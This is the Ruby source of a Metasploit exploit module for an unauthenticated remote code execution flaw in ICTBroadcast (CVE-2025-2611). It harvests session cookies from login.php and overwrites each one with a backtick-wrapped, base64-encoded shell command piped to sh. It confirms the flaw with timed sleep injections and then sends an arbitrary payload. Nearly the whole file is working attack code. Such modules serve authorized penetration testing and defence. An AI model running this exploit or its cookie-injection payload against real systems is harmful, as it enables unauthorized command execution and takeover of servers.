adfoster-r7
122 lines
3.4 KiB
Ruby
122 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
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'Description' => %q{
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This module exploits an unauthenticated remote code execution (RCE) vulnerability
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in ICTBroadcast. The vulnerability exists in the way session cookies are handled
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and processed, allowing an attacker to inject arbitrary system commands.
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},
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'Author' => [
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'Valentin Lobstein' # Metasploit module author and vulnerability discovery
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],
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'License' => MSF_LICENSE,
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'References' => [
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['URL', 'https://www.ictbroadcast.com/'],
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['CVE', '2025-2611']
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],
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'Targets' => [
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[
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'Unix/Linux Command Shell',
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{
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'Platform' => %w[unix linux],
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'Arch' => ARCH_CMD
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}
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]
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => '2025-03-19',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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end
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def get_valid_cookies
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@get_valid_cookies ||= begin
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print_status('Retrieving session cookies dynamically')
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'login.php')
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)
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fail_with(Failure::UnexpectedReply, 'No response from server') unless res
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if (cookies = res.get_cookies)
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cookie_jar.clear
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cookie_jar.parse_and_merge(
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cookies,
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"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
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)
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print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
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end
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cookie_jar
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end
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end
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def inject_command(command)
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jar = get_valid_cookies
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return if jar.empty?
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jar.cookies.each do |c|
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original = c.value
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c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
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send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'login.php'),
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'cookie_jar' => jar
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)
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c.value = original
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end
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end
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def check
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print_status('Checking ICTBroadcast via JS fingerprints')
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fingerprint_found = %w[
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IVRDesigner.js agent.js campaign.js campaign_feedback.js
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campaign_integration.js phone.js supervisor.js trunk.js
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].any? do |file|
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uri = normalize_uri(target_uri.path, 'js', file)
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res = send_request_cgi!('method' => 'GET', 'uri' => uri)
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res&.code == 200 && res.body.include?('ICT Innovations')
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end
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return CheckCode::Safe('The target is not vulnerable') unless fingerprint_found
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print_good('JS fingerprint found; performing timing tests')
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[3, 4, 5].sample(2).each do |t|
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start = Time.now
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inject_command("sleep #{t}")
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if Time.now - start >= (t - 0.3)
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return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
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end
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end
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CheckCode::Appears('Fingerprint present but timing did not match')
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end
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def exploit
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inject_command(payload.encoded)
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end
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end
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